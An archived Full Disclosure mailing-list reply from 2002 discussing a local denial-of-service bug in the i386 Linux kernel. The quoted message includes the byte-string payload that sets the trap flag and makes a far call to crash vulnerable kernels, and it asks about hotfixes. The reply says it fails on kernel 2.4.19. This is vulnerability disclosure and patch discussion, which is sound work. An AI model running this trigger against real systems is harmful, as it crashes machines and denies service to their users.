Full Disclosure mailing list archives
Re: Re: i386 Linux kernel DoS
From: Georgi Guninski <guninski () guninski com>
Date: Wed, 13 Nov 2002 20:16:50 +0200
Jim Paris wrote:
> char dos[] = "\x9C" /* pushfd */ > "\x58" /* pop eax */ > "\x0D\x00\x01\x00\x00" /* or eax,100h */ > "\x50" /* push eax */ > "\x9D" /* popfd */ > "\x9A\x00\x00\x00\x00\x07\x00"; /* call 07h:00h */ Has anyone come up with a hotfix for this (eg, a kernel module to temporarily patch the hole)? Where was this bug fixed in 2.4.19? The CHECK_IF_IN_TRAP stuff in handle_vm86_fault? -jim _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
This does not work on 2.4.19 for me. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- Re: i386 Linux kernel DoS Jim Paris (Nov 13)
- Re: Re: i386 Linux kernel DoS Georgi Guninski (Nov 13)